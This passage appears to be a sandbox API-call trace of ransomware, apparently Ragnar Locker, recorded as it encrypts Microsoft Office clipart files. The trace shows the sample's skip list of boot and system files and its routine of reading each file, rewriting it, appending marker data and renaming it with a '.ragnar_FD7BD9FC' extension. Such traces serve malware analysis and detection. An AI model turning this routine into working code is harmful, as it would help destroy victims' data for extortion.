lpString2="bootmgfw.efi") returned 1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="desktop.ini") returned 1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="iconcache.db") returned 1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="ntldr") returned -1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="ntuser.dat") returned -1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="ntuser.dat.log") returned -1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="ntuser.ini") returned -1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", lpString2="thumbs.db") returned -1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.116] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0084.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5868) returned 1 [0084.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.116] GetProcessHeap () returned 0x580000 [0084.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.117] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.118] VirtualAlloc (lpAddress=0x0, dwSize=0x16ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.118] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16ec, lpOverlapped=0x0) returned 1 [0084.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.119] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.119] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16ec, lpOverlapped=0x0) returned 1 [0084.119] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.119] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.120] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.120] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.120] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.120] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.120] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.120] GetProcessHeap () returned 0x580000 [0084.120] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.120] CloseHandle (hObject=0xf4) returned 1 [0084.120] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" [0084.120] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ragnar_FD7BD9FC" [0084.120] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.121] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0084.121] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.121] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107280.WMF" | out: lpString1="J0107280.WMF") returned="J0107280.WMF" [0084.121] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned=".WMF" [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="autorun.inf") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="boot.ini") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="bootfont.bin") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="bootsect.bak") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="bootmgr") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="bootmgr.efi") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="bootmgfw.efi") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="desktop.ini") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="iconcache.db") returned 1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="ntldr") returned -1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="ntuser.dat") returned -1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="ntuser.dat.log") returned -1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="ntuser.ini") returned -1 [0084.121] lstrcmpiW (lpString1="J0107280.WMF", lpString2="thumbs.db") returned -1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.121] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0084.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.122] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11108) returned 1 [0084.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.122] GetProcessHeap () returned 0x580000 [0084.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.122] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2b64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.124] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b64, lpOverlapped=0x0) returned 1 [0084.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.125] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b64, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.125] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b64, lpOverlapped=0x0) returned 1 [0084.125] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.125] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.125] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.125] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.126] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.126] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.126] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.126] GetProcessHeap () returned 0x580000 [0084.126] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.126] CloseHandle (hObject=0xf4) returned 1 [0084.126] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" [0084.126] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ragnar_FD7BD9FC" [0084.126] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.127] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0084.127] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.127] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107282.WMF" | out: lpString1="J0107282.WMF") returned="J0107282.WMF" [0084.127] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned=".WMF" [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="autorun.inf") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="boot.ini") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="bootfont.bin") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="bootsect.bak") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="bootmgr") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="bootmgr.efi") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="bootmgfw.efi") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="desktop.ini") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="iconcache.db") returned 1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="ntldr") returned -1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="ntuser.dat") returned -1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="ntuser.dat.log") returned -1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="ntuser.ini") returned -1 [0084.127] lstrcmpiW (lpString1="J0107282.WMF", lpString2="thumbs.db") returned -1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.127] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0084.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.128] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14132) returned 1 [0084.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x372b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.128] GetProcessHeap () returned 0x580000 [0084.128] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.128] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.180] VirtualAlloc (lpAddress=0x0, dwSize=0x3734, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.180] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3734, lpOverlapped=0x0) returned 1 [0084.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.182] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3734, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.182] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3734, lpOverlapped=0x0) returned 1 [0084.182] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.182] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.182] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.183] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.183] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.183] GetProcessHeap () returned 0x580000 [0084.183] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.183] CloseHandle (hObject=0xf4) returned 1 [0084.183] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" [0084.183] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ragnar_FD7BD9FC" [0084.183] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.184] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0084.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.184] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107288.WMF" | out: lpString1="J0107288.WMF") returned="J0107288.WMF" [0084.184] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned=".WMF" [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="autorun.inf") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="boot.ini") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="bootfont.bin") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="bootsect.bak") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="bootmgr") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="bootmgr.efi") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="bootmgfw.efi") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="desktop.ini") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="iconcache.db") returned 1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="ntldr") returned -1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="ntuser.dat") returned -1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="ntuser.dat.log") returned -1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="ntuser.ini") returned -1 [0084.184] lstrcmpiW (lpString1="J0107288.WMF", lpString2="thumbs.db") returned -1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.184] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.185] 